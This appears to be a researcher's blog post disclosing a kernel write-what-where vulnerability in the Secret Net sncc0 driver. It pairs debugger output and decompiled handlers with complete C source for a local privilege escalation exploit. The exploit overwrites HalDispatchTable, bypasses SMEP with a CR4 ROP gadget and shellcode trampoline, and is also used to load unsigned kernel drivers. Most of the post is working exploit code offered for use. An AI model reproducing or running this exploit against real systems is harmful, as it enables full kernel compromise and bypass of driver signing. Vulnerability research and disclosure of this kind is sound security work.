0: kd> !drvobj \Driver\sncc0 Driver object (ffffe001f616d240) is for: \Driver\sncc0 Driver Extension List: (id , addr) Device Object list: ffffe001f6979510 0: kd> !devobj ffffe001f6979510 Device object (ffffe001f6979510) is for: SNCC0_Sys \Driver\sncc0 DriverObject ffffe001f616d240 Current Irp 00000000 RefCount 0 Type 00000022 Flags 00000044 Dacl ffffc101421fde21 DevExt 00000000 DevObjExt ffffe001f6979660 ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT Characteristics (0000000000) Device queue is not busy. 0: kd> dt _DRIVER_OBJECT ffffe001f616d240 nt!_DRIVER_OBJECT +0x000 Type : 0n4 +0x002 Size : 0n336 +0x008 DeviceObject : 0xffffe001`f6979510 _DEVICE_OBJECT +0x010 Flags : 0x12 +0x018 DriverStart : 0xfffff801`e438c000 Void +0x020 DriverSize : 0x20000 +0x028 DriverSection : 0xffffe001`f625da70 Void +0x030 DriverExtension : 0xffffe001`f616d390 _DRIVER_EXTENSION +0x038 DriverName : _UNICODE_STRING "\Driver\sncc0" +0x048 HardwareDatabase : 0xfffff803`c913f598 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM" +0x050 FastIoDispatch : (null) +0x058 DriverInit : 0xfffff801`e43a9000 long sncc0!DllUnload+0 +0x060 DriverStartIo : (null) +0x068 DriverUnload : 0xfffff801`e43916f0 void +0 +0x070 MajorFunction : [28] 0xfffff801`e4391150 long +0 0: kd> dps ffffe001f616d240+0x70 L1c ffffe001`f616d2b0 fffff801`e4391150 sncc0+0x5150 # IRP_MJ_CREATE handler ffffe001`f616d2b8 fffff803`c8b7bcf4 nt!IopInvalidDeviceRequest ffffe001`f616d2c0 fffff801`e43910a0 sncc0+0x50a0 # IRP_MJ_CLOSE handler ... ffffe001`f616d320 fffff801`e4391210 sncc0+0x5210 # IRP_MJ_DEVICE_CONTROL handler ...
Now we can load the driver binary to IDA and check what exactly sncc0 + 0x5210 function does:
__int64 __fastcall sub_180005210(__int64 DeviceObject, struct _IRP *Irp) { __int64 v2; // rdx@5 __int64 v3; // r8@5 __int64 v4; // r9@5 unsigned int Status; // [sp+20h] [bp-38h]@1 int v7; // [sp+24h] [bp-34h]@1 unsigned int OutSize; // [sp+28h] [bp-30h]@1 ULONG InSize; // [sp+2Ch] [bp-2Ch]@1 ULONG v10; // [sp+30h] [bp-28h]@1 ULONG Code; // [sp+34h] [bp-24h]@1 void *Buffer; // [sp+38h] [bp-20h]@1 IO_STACK_LOCATION *Stack; // [sp+40h] [bp-18h]@1 struct _IRP *Irp_; // [sp+68h] [bp+10h]@1 Irp_ = Irp; Irp->IoStatus.Information = 0i64; Status = 0xC0000002; // get IOCTL request information (control code, user buffer, etc.) Stack = sub_180005780(Irp); Buffer = Irp_->AssociatedIrp.SystemBuffer; InSize = Stack->Parameters.DeviceIoControl.InputBufferLength; OutSize = Stack->Parameters.DeviceIoControl.OutputBufferLength; Code = Stack->Parameters.DeviceIoControl.IoControlCode; v7 = 0; // process different kinds of IOCTL requests switch (Code) { // ... skipped ... case 0x220010u: if (InSize >= 0x60) { // // Call of some function that accepts user buffer with // >= 60 bytes of length as input. // Status = sub_180009D50(Buffer); } else { Status = 0xC00000E8; } break; // ... skipped ... default: break; } if (Status) { if (Status == 0x80000005) { // return OutSize bytes of data back to the caller Irp_->IoStatus.Information = OutSize; } } else { Irp_->IoStatus.Information = (unsigned int)v7; } // complete IOCTL request Irp_->IoStatus.Status = Status; IofCompleteRequest(Irp_, 0); return Status; }
After the short reverse engineering I found that IOCTL with code 0x220010 (this code uses buffered I/O method to process user-mode buffers passed to NtDeviceIoControlFile() system call) executes vulnerable function sub_180009D50() that accepts pointer to attacker controlled IOCTL input buffer (located in non-paged kernel pool because of buffered I/O) as argument. The sub_180009D50() uses input buffer as structure with field that points to second structure. The second structure address is being passed to sub_180004A70() without any boundary checks and validations that allows arbitrary kernel memory overwriting (write-what-where condition):
__int64 __fastcall sub_180009D50(void *Buffer) { // // This code reads some data buffer address from the beginning of // IOCTL input buffer and passes it to other function that copies // attacker controlled data to that address. // return sub_180004A70( *(void **)Buffer, // <= !!! *((_DWORD *)Buffer + 0x16), *((_DWORD *)Buffer + 0x17), (char *)Buffer + 0x60 ); } __int64 __fastcall sub_180004A70(void *a1, int a2, unsigned int a3, void *a4) { // // All input arguments of this function are controlled by attacker // with specially crafted IOCTL request. // __int64 Status; // rax@2 if (a1) { if (*((_DWORD *)a1 + 6) == 0xC00000B5) { Status = 0xC0000120i64; } else { // // Vulnerability is here: // // A classical write-what-where condition that allows to overwrite // arbitrary kernel memory with attacker controlled data. // *((_DWORD *)a1 + 6) = a2; **((_DWORD **)a1 + 2) = a3; if (!a2 && a3 <= *(_DWORD *)a1) { qmemcpy(*((void **)a1 + 1), a4, a3); } KeSetEvent((PRKEVENT)((char *)a1 + 32), 0, 0); Status = 0i64; } } else { Status = 0xC000000Di64; } return Status; }
The other product, Secret Net Studio 8, also has this 0day vulnerability because they're both sharing the same vulnerable driver.
Write-what-where kernel vulnerabilities are trivial for exploitation even on the most recent Windows versions, here's the one of the popular ways to do it:
- As target to overwrite attacker uses HalQuerySystemInformation field (it points to the HAL function) of HAL_DISPATCH_TABLE kernel structure that accessible as exportable kernel symbol nt!HalDispatchTable.
- As value to overwrite HalQuerySystemInformation field attacker uses the address of ROP gadget MOV CR4, EAX / RET located inside some executable section of some kernel module. This ROP gadget is necessary to disable SMEP flag of CR4 register (it prohibits to execute user-mode memory with kernel privileges) and transfers execution to user-mode shellcode that performs privileges escalation, loads unsigned kernel drivers or does any other kind of ring0 magic.
- Attacker calls NtQueryIntervalProfile() system call to trigger execution of overwritten HAL function pointer.
- After the shellcode execution attacker needs to restore original CR4 register value because if someone will leave it modified for a while — the system will be crashed by PatchGuard.
// // Constants for IOCTL request to vulnerable driver // #define EXPL_BUFF_SIZE 0x60 #define EXPL_CONTROL_CODE 0x220010 #define EXPL_DEVICE_PATH "\\\\.\\Global\\SNCC0_Sys" // exploit global variables static PHAL_DISPATCH m_HalDispatchTable = NULL; static func_ExAllocatePool f_ExAllocatePool = NULL; static PVOID m_Rop_Mov_Cr4 = NULL; static BOOL m_bExplOk = FALSE; // external ring0 payload information static KERNEL_EXPL_HANDLER m_Handler = NULL; static PVOID m_HandlerContext = NULL; //-------------------------------------------------------------------------------------- void WINAPI _r0_proc_continue(void) { if (m_HalDispatchTable && f_ExAllocatePool) { #if defined(_AMD64_) #define TEMP_CODE_LEN 6 char TempCode[] = "\xB8\x01\x00\x00\xC0" // mov eax, 0xC00000001 "\xC3"; // retn #endif /* Restore HAL_DISPATCH::HalQuerySystemInformation pointer that was overwritten during exploitation. It's difficult to find original address of hal!HalQuerySystemInformation() function because it's not exportable, so, we replacing it with dummy code allocated in non paged kernel pool. */ if (m_HalDispatchTable->HalQuerySystemInformation = f_ExAllocatePool(NonPagedPool, TEMP_CODE_LEN)) { memcpy(m_HalDispatchTable->HalQuerySystemInformation, TempCode, TEMP_CODE_LEN); } } if (m_Handler) { // call external ring0 payload handler if present m_Handler(m_HandlerContext); } m_bExplOk = TRUE; } //-------------------------------------------------------------------------------------- /* This function is being called during exploitation insted original hal!HalQuerySystemInformation() because it's address in nt!HalDispatchTable kernel structure was overwritten using write-what-where vulnerability. */ NTSTATUS WINAPI _r0_proc_HalQuerySystemInformation( ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength) { // execute exploitation payload _r0_proc_continue(); return 0; } //-------------------------------------------------------------------------------------- BOOL expl_SNCC0_Sys_220010(KERNEL_EXPL_HANDLER Handler, PVOID HandlerContext) { BOOL bUseRop = FALSE; m_Handler = Handler; m_HandlerContext = HandlerContext; OSVERSIONINFOA Version; Version.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA); // get NT verson information if (GetVersionExA(&Version)) { if (Version.dwPlatformId == VER_PLATFORM_WIN32_NT) { printf("NT version is %d.%d.%d\n", Version.dwMajorVersion, Version.dwMinorVersion, Version.dwBuildNumber); // determinate if we need to use ROP to bypass SMEP if ((Version.dwMajorVersion == 6 && Version.dwMinorVersion == 2) || (Version.dwMajorVersion == 6 && Version.dwMinorVersion == 3) || (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0)) { bUseRop = TRUE; } } else { goto end; } } else { goto end; } // get real address of nt!ExAllocatePool() f_ExAllocatePool = (func_ExAllocatePool)KernelGetProcAddr("ExAllocatePool"); if (f_ExAllocatePool == NULL) { goto end; } // get real address of nt!HalDispatchTable m_HalDispatchTable = (PHAL_DISPATCH)KernelGetProcAddr("HalDispatchTable"); if (m_HalDispatchTable == NULL) { goto end; } printf("nt!ExAllocatePool() is at "IFMT"\n", f_ExAllocatePool); printf("nt!HalDispatchTable is at "IFMT"\n", m_HalDispatchTable); LARGE_INTEGER Val; PVOID Trampoline = NULL; DWORD_PTR Addr = PAGE_SIZE; if (bUseRop) { // find RVA of MOV CR4, EAX gadget inside kernel executable image if (!RopGadgetInit()) { goto end; } Val.QuadPart = (DWORD64)m_Rop_Mov_Cr4; /* Because of ROP limitation we need to allocate shellcode trampoline below 4GB of virtual memory space. */ while (true) { if (Trampoline = VirtualAlloc(Addr, PAGE_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)) { printf("Shellcode trampoline is allocated at "IFMT"\n", Trampoline); break; } else if (Addr >= 0x7fff0000) { // unable to allocate memory goto end; } else { // try next address Addr += PAGE_SIZE; } } // PUSH RAX *(PUCHAR)(Trampoline) = 0x50; // MOV RAX, _r0_proc_continue *(PWORD)((DWORD_PTR)Trampoline + 1) = 0xb848; *(PDWORD_PTR)((DWORD_PTR)Trampoline + 0x03) = (DWORD_PTR)&_r0_proc_continue; // CALL RAX ; calls _r0_proc_continue() *(PWORD)((DWORD_PTR)Trampoline + 0x0b) = 0xd0ff; // POP RAX *(PUCHAR)((DWORD_PTR)Trampoline + 0x0d) = 0x58; // ADD RSP, 20h ; restore proper stack pointer value *(PDWORD)((DWORD_PTR)Trampoline + 0x0e) = 0x20c48348; // RET ; return back to the nt!NtQueryntervalProfile() *(PUCHAR)((DWORD_PTR)Trampoline + 0x12) = 0xc3; } else { Val.QuadPart = (DWORD64)&_r0_proc_HalQuerySystemInformation; } printf("Opengin device \"%s\"...\n", EXPL_DEVICE_PATH); // get handle to the target device HANDLE hDev = CreateFile(_T(EXPL_DEVICE_PATH), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDev == INVALID_HANDLE_VALUE) { goto end; } DWORD ns = 0, dwCode = EXPL_CONTROL_CODE; IO_STATUS_BLOCK StatusBlock; UCHAR Buff[EXPL_BUFF_SIZE]; printf("Buff = "IFMT"\n", &Buff); #define SEND_IOCTL(_code_, _ib_, _il_, _ob_, _ol_) \ \ ns = NtDeviceIoControlFile( \ hDev, NULL, NULL, NULL, &StatusBlock, (_code_), \ (PVOID)(_ib_), (DWORD)(_il_), \ (PVOID)(_ob_), (DWORD)(_ol_) \ ); \ \ printf( \ "IOCTL 0x%.8x: status = 0x%.8x, info = 0x%.8x\n", \ (_code_), ns, StatusBlock.Information \ ); #ifdef _AMD64_ /* Fill IOCTL Input buffer with additional parameters values that will be processed in vulnerable IOCTL handler. */ ZeroMemory(Buff, sizeof(Buff)); *(PDWORD64)&Buff[0x00] = (DWORD64)m_HalDispatchTable - 0x10; *(PDWORD)&Buff[0x58] = Val.LowPart; *(PDWORD)&Buff[0x5c] = 0; // call vulnreable driver and overwrite HAL_DISPATCH::HalQuerySystemInformation pointer SEND_IOCTL(dwCode, (PVOID)&Buff, sizeof(Buff), (PVOID)&Buff, sizeof(Buff)); *(PDWORD64)&Buff[0x00] += sizeof(DWORD); *(PDWORD)&Buff[0x58] = Val.HighPart; // overwrite 2-nd dword of 64-bit pointer SEND_IOCTL(dwCode, (PVOID)&Buff, sizeof(Buff), (PVOID)&Buff, sizeof(Buff)); #endif if (bUseRop) { /* Use SMEP bypass. */ DWORD FeaturesEcx = 0, FeaturesEdx = 0, FeaturesEbx = 0; DWORD ExtFeaturesEcx = 0, ExtFeaturesEdx = 0, ExtFeaturesEbx = 0; // get CPU features bits and extended features bits GetCPUIDFeatureBits(0x00000001, &FeaturesEcx, &FeaturesEdx, &FeaturesEbx); GetCPUIDFeatureBits(0x00000007, &ExtFeaturesEcx, &ExtFeaturesEdx, &ExtFeaturesEbx); printf("CPUID: EAX = 0x00000001, EDX = 0x%.8x, ECX = 0x%.8x\n", FeaturesEdx, FeaturesEcx); printf("CPUID: EAX = 0x00000007, EBX = 0x%.8x, ECX = 0x%.8x\n", ExtFeaturesEbx, ExtFeaturesEcx); DWORD InfoSize = 0; SYSTEM_PROCESSOR_INFORMATION ProcessorInfo; ProcessorInfo.ProcessorFeatureBits = 0; ns = NtQuerySystemInformation( SystemProcessorInformation, &ProcessorInfo, sizeof(ProcessorInfo), &InfoSize); if (NT_SUCCESS(ns)) { printf("ProcessorFeatureBits is 0x%.8x\n", ProcessorInfo.ProcessorFeatureBits); } /* Calculate actual CR4 register value for current machine, this value will be used in MOV CR4, EAX gadget to disable SMEP. */ DWORD Cr4Value = CR4_VME | CR4_DE | CR4_PAE | CR4_MCE | CR4_FXSR | CR4_XMMEXCPT; if (FeaturesEcx & CPUID_OSXSAVE) { // XSAVE and processor extended states - enable bit Cr4Value |= CR4_OSXSAVE; } if (FeaturesEcx & CPUID_VMX) { // Virtual Machine eXtensions are supported Cr4Value |= CR4_VMXE; } if (ExtFeaturesEbx & CPUID_FSGSBASE) { // RDFSBASE/RDGSBASE/etc. instructions are supported Cr4Value |= CR4_FSGSBASE; } if (ProcessorInfo.ProcessorFeatureBits & KF_LARGE_PAGE) { // Page Size Extensions are supported Cr4Value |= CR4_PSE; } if (ProcessorInfo.ProcessorFeatureBits & KF_GLOBAL_PAGE) { // Page Global Enabled Cr4Value |= CR4_PGE; } printf("New CR4 value is 0x%.8x\n", Cr4Value); // run current thread only on first CPU SetThreadAffinityMask(GetCurrentThread(), 1); /* NtQueryIntervalProfile() calls nt!KeQueryIntervalProfile() that calls overwritten HAL_DISPATCH::HalQuerySystemInformation pointer. */ DWORD_PTR Source = (DWORD_PTR)Trampoline; NtQueryIntervalProfile(Source, &Cr4Value); } else { /* Don't use SMEP bypass on Windows 7 and older systems. */ DWORD Interval = 0; NtQueryIntervalProfile(ProfileTotalIssues, &Interval); } end: if (Trampoline) { VirtualFree(Trampoline, 0, MEM_RELEASE); } if (hDev) { CloseHandle(hDev); } if (m_bExplOk) { printf(__FUNCTION__"(): Exploitation success\n"); } else { printf(__FUNCTION__"() ERROR: Exploitation fails\n"); } return m_bExplOk; }
Also, I implemented --dse-bypass option for fwexpl_app that uses this exploit to load unsigned kernel driver:
SW SMI handler 3 exploit that loads kernel driver using Secret Net DSE bypass exploit. |
As it was explained above, after the kernel driver vulnerability exploitation you need to re-enable SMEP. To perform it I wrote the following piece of code inside libfwexpl driver that being loaded by exploit:
// ... skipped ... switch (Code) { case IOCTL_DRV_CONTROL: { switch (Buff->Code) { // ... skipped ... #ifdef USE_DSE_BYPASS case DRV_CTL_RESTORE_CR4: { // get bitmask of active processors KAFFINITY ActiveProcessors = KeQueryActiveProcessors(); ULONG cr4_val = 0, cr4_current = 0; // enumerate active processors starting from 2-nd for (KAFFINITY i = 1; i < sizeof(KAFFINITY) * 8; i++) { KAFFINITY Mask = 1 << i; if (ActiveProcessors & Mask) { // bind thread to specific processor KeSetSystemAffinityThread(Mask); // read CR4 register value cr4_val = _cr4_get(); break; } } if (cr4_val != 0) { // bind thread to first processor KeSetSystemAffinityThread(0x00000001); // read CR4 register value cr4_current = _cr4_get(); if (cr4_current != cr4_val) { // restore CR4 register value _cr4_set(cr4_val); } else { DbgMsg(__FILE__, __LINE__, "CR4 is 0x%.8x\n", cr4_current); } ns = STATUS_SUCCESS; } else { DbgMsg(__FILE__, __LINE__, "ERROR: Unable to read CR4 value from 2-nd processor\n"); } break; } #endif // USE_DSE_BYPASS default: { break; } } break; } default: { break; } } // ... skipped ...
It's interesting to figure that Security Code developers, just like Lenovo ones, had failed in security because of total ignorance of technical documentation, official specs/guidelines and well known secure software engineering tips like "don't use DXE protocols during SMI dispatch", "never pass any pointers from user mode app to kernel drivers inside IOCTL input buffer", etc.
All source code that was mentioned in this article can be found at GitHub page of fwexpl project. In some future I'm also planning to implement an introspection and memory access tool for Intel HVM virtual machines based on my SMM exploit.
Standalone version of local privileges escalation exploit for Secret Net 7.4 and Secret Net Studio 8 0day vulnerability is available as separate GitHub project.